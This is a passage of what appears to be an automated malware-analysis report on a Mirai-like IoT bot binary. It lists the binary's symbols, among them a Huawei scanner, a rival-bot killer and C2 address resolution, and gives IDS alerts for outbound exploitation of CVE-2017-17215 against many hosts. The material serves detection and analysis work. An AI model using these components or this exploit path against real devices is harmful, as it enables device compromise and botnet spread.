entries	.symtab	0x100242a0	4	OBJECT	<unknown>	DEFAULT	13
environ	.symtab	0x100242dc	4	OBJECT	<unknown>	DEFAULT	13
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	6
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
execve	.symtab	0x1000d11c	52	FUNC	<unknown>	DEFAULT	2
execve.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x1000b900	136	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x10013240	72	OBJECT	<unknown>	DEFAULT	4
fclose	.symtab	0x1000dbac	640	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x10007724	236	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x1002424c	4	OBJECT	<unknown>	DEFAULT	12
fd_serv	.symtab	0x10024250	4	OBJECT	<unknown>	DEFAULT	12
fd_to_DIR	.symtab	0x10007ce4	184	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x10007e6c	184	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x1000f384	744	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x1000ef44	304	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x1000f074	244	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x1000f7a4	196	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
first_connect	.symtab	0x100242c4	4	OBJECT	<unknown>	DEFAULT	13
fmt	.symtab	0x10013228	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x1000de2c	12	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x1000bd40	824	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x10009384	92	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x1000018c	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x1000b09c	524	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x10010700	16	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x10010700	16	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x10010710	404	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x1000d150	124	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fwrite_unlocked	.symtab	0x100093e0	192	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getc	.symtab	0x1000ef44	304	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x1000d27c	56	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x1000d2b4	16	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x1000d2c4	16	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x1000d2d4	16	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x1000d2e4	28	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x1000c078	56	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x1000786c	16	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x1000d300	52	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x10009c04	52	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x10009c38	52	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x1000d334	16	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	6
hexPayload	.symtab	0x10024240	4	OBJECT	<unknown>	DEFAULT	12
httpd.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
httpd_pid	.symtab	0x10024244	4	OBJECT	<unknown>	DEFAULT	12
httpd_port	.symtab	0x100242bc	4	OBJECT	<unknown>	DEFAULT	13
httpd_serve	.symtab	0x10004784	760	FUNC	<unknown>	DEFAULT	2
httpd_start	.symtab	0x10004a7c	496	FUNC	<unknown>	DEFAULT	2
httpd_started	.symtab	0x100242b8	4	OBJECT	<unknown>	DEFAULT	13
huawei.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huawei_fake_time	.symtab	0x100242a4	4	OBJECT	<unknown>	DEFAULT	13
huawei_init	.symtab	0x10004d64	2740	FUNC	<unknown>	DEFAULT	2
huawei_rsck	.symtab	0x100242ac	4	OBJECT	<unknown>	DEFAULT	13
huawei_scanner_pid	.symtab	0x100242a8	4	OBJECT	<unknown>	DEFAULT	13
huawei_scanner_rawpkt	.symtab	0x10024360	40	OBJECT	<unknown>	DEFAULT	14
huawei_setup_connection	.symtab	0x10004c6c	248	FUNC	<unknown>	DEFAULT	2
id_buf	.symtab	0x10026934	32	OBJECT	<unknown>	DEFAULT	14
index	.symtab	0x1000fa64	256	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x10009a44	52	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x1000ff48	208	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x100100c0	60	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x1000b4c8	132	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x1000b734	236	FUNC	<unknown>	DEFAULT	2
intr	.symtab	0x100243cc	20	OBJECT	<unknown>	DEFAULT	14
ioctl	.symtab	0x100103b0	228	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x1000fe80	44	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x1000787c	52	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x100059ec	252	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0x10005818	52	FUNC	<unknown>	DEFAULT	2
killer_mirai_exists	.symtab	0x1000584c	416	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x100242b0	4	OBJECT	<unknown>	DEFAULT	13
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-lowlevellock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listen	.symtab	0x10009c6c	52	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lock	.symtab	0x100243b0	4	OBJECT	<unknown>	DEFAULT	14
lockdown	.symtab	0x1002429c	4	OBJECT	<unknown>	DEFAULT	13
lseek64	.symtab	0x10010f04	112	FUNC	<unknown>	DEFAULT	2
main	.symtab	0x10005ba4	2560	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x1000a068	2320	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x1000b2a8	64	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x1000f868	264	FUNC	<unknown>	DEFAULT	2
memchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memcpy	.symtab	0x100094a0	156	FUNC	<unknown>	DEFAULT	2
memcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memmove	.symtab	0x1000953c	164	FUNC	<unknown>	DEFAULT	2
memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x10010c48	52	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memrchr	.symtab	0x1000f970	244	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x100095e0	144	FUNC	<unknown>	DEFAULT	2
memset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
methods	.symtab	0x10024290	4	OBJECT	<unknown>	DEFAULT	13
methods_len	.symtab	0x1002428c	1	OBJECT	<unknown>	DEFAULT	13
mmap	.symtab	0x1000d344	52	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x1000d378	52	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x1000d3ac	52	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x10024088	24	OBJECT	<unknown>	DEFAULT	10
mylock	.symtab	0x100240a0	24	OBJECT	<unknown>	DEFAULT	10
nanosleep	.symtab	0x1000d414	112	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1347	.symtab	0x100243a8	4	OBJECT	<unknown>	DEFAULT	14
nprocessors_onln	.symtab	0x1000b988	328	FUNC	<unknown>	DEFAULT	2
object.5595	.symtab	0x10024324	0	OBJECT	<unknown>	DEFAULT	14
open	.symtab	0x1000c354	132	FUNC	<unknown>	DEFAULT	2
opendir	.symtab	0x10007d9c	208	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
p.5578	.symtab	0x1002406c	0	OBJECT	<unknown>	DEFAULT	10
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
parse_request	.symtab	0x100046f4	144	FUNC	<unknown>	DEFAULT	2
pending_connection	.symtab	0x100242b4	1	OBJECT	<unknown>	DEFAULT	13
pgid	.symtab	0x10024388	4	OBJECT	<unknown>	DEFAULT	14
prctl	.symtab	0x100078b0	52	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.6256	.symtab	0x10011e7c	12	OBJECT	<unknown>	DEFAULT	4
program_invocation_name	.symtab	0x10024264	4	OBJECT	<unknown>	DEFAULT	12
program_invocation_short_name	.symtab	0x10024260	4	OBJECT	<unknown>	DEFAULT	12
qual_chars.6264	.symtab	0x10011ec4	20	OBJECT	<unknown>	DEFAULT	4
quit	.symtab	0x100243b8	20	OBJECT	<unknown>	DEFAULT	14
raise	.symtab	0x1000c0b0	148	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x1000b3e0	4	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x10006664	364	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x100065f4	112	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x100065a4	80	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x100067d0	256	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x1000b3e4	104	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x10012a90	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x1000b5b4	140	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x100240cc	128	OBJECT	<unknown>	DEFAULT	10
rawmemchr	.symtab	0x10010c7c	184	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x1000c45c	132	FUNC	<unknown>	DEFAULT	2
readdir	.symtab	0x10007f24	192	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir64	.symtab	0x1000d5e8	196	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x1000aa80	920	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x10009cd4	128	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvfrom	.symtab	0x10009d88	144	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
register-atfork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
remove	.symtab	0x10008030	112	FUNC	<unknown>	DEFAULT	2
remove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_entries_free	.symtab	0x100068d0	68	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x10006914	1340	FUNC	<unknown>	DEFAULT	2
resolve_cnc_addr	.symtab	0x10005ae8	188	FUNC	<unknown>	DEFAULT	2
resolve_func	.symtab	0x10024248	4	OBJECT	<unknown>	DEFAULT	12
rindex	.symtab	0x1000fcf0	112	FUNC	<unknown>	DEFAULT	2
rmdir	.symtab	0x1000d484	52	FUNC	<unknown>	DEFAULT	2
rmdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sa_refcntr	.symtab	0x100243b4	4	OBJECT	<unknown>	DEFAULT	14
sbrk	.symtab	0x1000d4b8	116	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
select	.symtab	0x10007918	136	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x10009e4c	128	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x10009f00	144	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsid	.symtab	0x100079a0	52	FUNC	<unknown>	DEFAULT	2
setsid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x10009f90	52	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x1000b44c	124	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x1000b820	224	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x10010018	36	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigjmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x1000d52c	120	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x1000c144	292	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x10009fc4	52	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
spec_and_mask.6263	.symtab	0x10011ef2	16	OBJECT	<unknown>	DEFAULT	4
spec_base.6255	.symtab	0x10011e74	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.6260	.symtab	0x10011f04	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.6259	.symtab	0x10011f1c	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.6262	.symtab	0x10011ee2	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.6261	.symtab	0x10011ed8	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x100080a0	136	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x1000b54c	104	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x1000b54c	104	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x1000b640	244	FUNC	<unknown>	DEFAULT	2
srv_addr	.symtab	0x10026954	16	OBJECT	<unknown>	DEFAULT	14
stat	.symtab	0x100079d4	124	FUNC	<unknown>	DEFAULT	2
stat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
static_dtv	.symtab	0x10026700	512	OBJECT	<unknown>	DEFAULT	14
static_map	.symtab	0x10026900	52	OBJECT	<unknown>	DEFAULT	14
static_slotinfo	.symtab	0x100263f8	776	OBJECT	<unknown>	DEFAULT	14
stderr	.symtab	0x10024278	4	OBJECT	<unknown>	DEFAULT	12
stdin	.symtab	0x10024270	4	OBJECT	<unknown>	DEFAULT	12
stdout	.symtab	0x10024274	4	OBJECT	<unknown>	DEFAULT	12
strchr	.symtab	0x1000fa64	256	FUNC	<unknown>	DEFAULT	2
strchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchrnul	.symtab	0x1000fb64	248	FUNC	<unknown>	DEFAULT	2
strchrnul.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcmp	.symtab	0x1000fc5c	52	FUNC	<unknown>	DEFAULT	2
strcmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcoll	.symtab	0x1000fc5c	52	FUNC	<unknown>	DEFAULT	2
strcspn	.symtab	0x1000fc90	96	FUNC	<unknown>	DEFAULT	2
strcspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x1000991c	284	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x10009670	160	FUNC	<unknown>	DEFAULT	2
strlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x10009710	236	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x1000fe44	60	FUNC	<unknown>	DEFAULT	2
strpbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strrchr	.symtab	0x1000fcf0	112	FUNC	<unknown>	DEFAULT	2
strrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strspn	.symtab	0x1000fd60	72	FUNC	<unknown>	DEFAULT	2
strspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strstr	.symtab	0x100097fc	240	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok	.symtab	0x10009a38	12	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x1000fda8	156	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sysconf	.symtab	0x1000bad0	624	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
system	.symtab	0x1000d074	132	FUNC	<unknown>	DEFAULT	2
system.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table	.symtab	0x10026964	56	OBJECT	<unknown>	DEFAULT	14
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x10006f90	300	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x10024254	4	OBJECT	<unknown>	DEFAULT	12
table_lock_val	.symtab	0x10006e78	140	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x10006e50	40	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x10006f04	140	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x1000feac	156	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcsetattr	.symtab	0x10010d34	376	FUNC	<unknown>	DEFAULT	2
tcsetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x10007a50	16	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x1000d5a4	16	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
type_codes	.symtab	0x10011ea0	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x10011eb8	12	OBJECT	<unknown>	DEFAULT	4
unknown.1370	.symtab	0x10011f24	14	OBJECT	<unknown>	DEFAULT	4
unlink	.symtab	0x1000d5b4	52	FUNC	<unknown>	DEFAULT	2
unlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unsafe_state	.symtab	0x100240b8	20	OBJECT	<unknown>	DEFAULT	10
update_bins	.symtab	0x100072a0	476	FUNC	<unknown>	DEFAULT	2
update_process	.symtab	0x1000397c	4	FUNC	<unknown>	DEFAULT	2
updating	.symtab	0x100242c0	4	OBJECT	<unknown>	DEFAULT	13
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x1000747c	308	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x100071ac	48	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x100071dc	24	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x100075b0	256	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x100071f4	172	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x10007164	36	FUNC	<unknown>	DEFAULT	2
util_strcat	.symtab	0x100070e4	60	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x10007120	68	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x100070bc	40	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x10007188	36	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x10008128	224	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x1002438c	4	OBJECT	<unknown>	DEFAULT	14
waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	DEFAULT	2
wcrtomb	.symtab	0x1000da84	92	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x1000daf0	188	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x1000dae0	16	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
write	.symtab	0x1000c3d8	132	FUNC	<unknown>	DEFAULT	2
x	.symtab	0x10024390	4	OBJECT	<unknown>	DEFAULT	14
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x10024394	4	OBJECT	<unknown>	DEFAULT	14
z	.symtab	0x10024398	4	OBJECT	<unknown>	DEFAULT	14

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-01T15:35:20.204525+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44670	37215	192.168.2.14	12.5.237.45
2024-08-01T15:35:50.559113+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35036	37215	192.168.2.14	157.159.10.251
2024-08-01T15:36:22.459237+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59448	37215	192.168.2.14	197.76.55.249
2024-08-01T15:36:24.447413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38386	37215	192.168.2.14	41.195.253.16
2024-08-01T15:36:06.700403+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42202	37215	192.168.2.14	108.132.195.32
2024-08-01T15:36:53.743392+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56342	37215	192.168.2.14	157.40.26.61
2024-08-01T15:35:21.876335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53958	37215	192.168.2.14	41.62.154.132
2024-08-01T15:35:21.864290+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43190	37215	192.168.2.14	38.125.81.98
2024-08-01T15:36:39.036602+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36076	37215	192.168.2.14	197.122.181.46
2024-08-01T15:35:16.814765+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40560	37215	192.168.2.14	41.226.213.137
2024-08-01T15:36:00.732188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54832	37215	192.168.2.14	78.165.150.72
2024-08-01T15:36:20.304192+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51528	37215	192.168.2.14	41.0.183.80
2024-08-01T15:36:18.253720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47218	37215	192.168.2.14	197.77.234.9
2024-08-01T15:35:21.889659+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34356	37215	192.168.2.14	20.52.179.216
2024-08-01T15:35:50.300463+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45588	37215	192.168.2.14	197.123.215.36
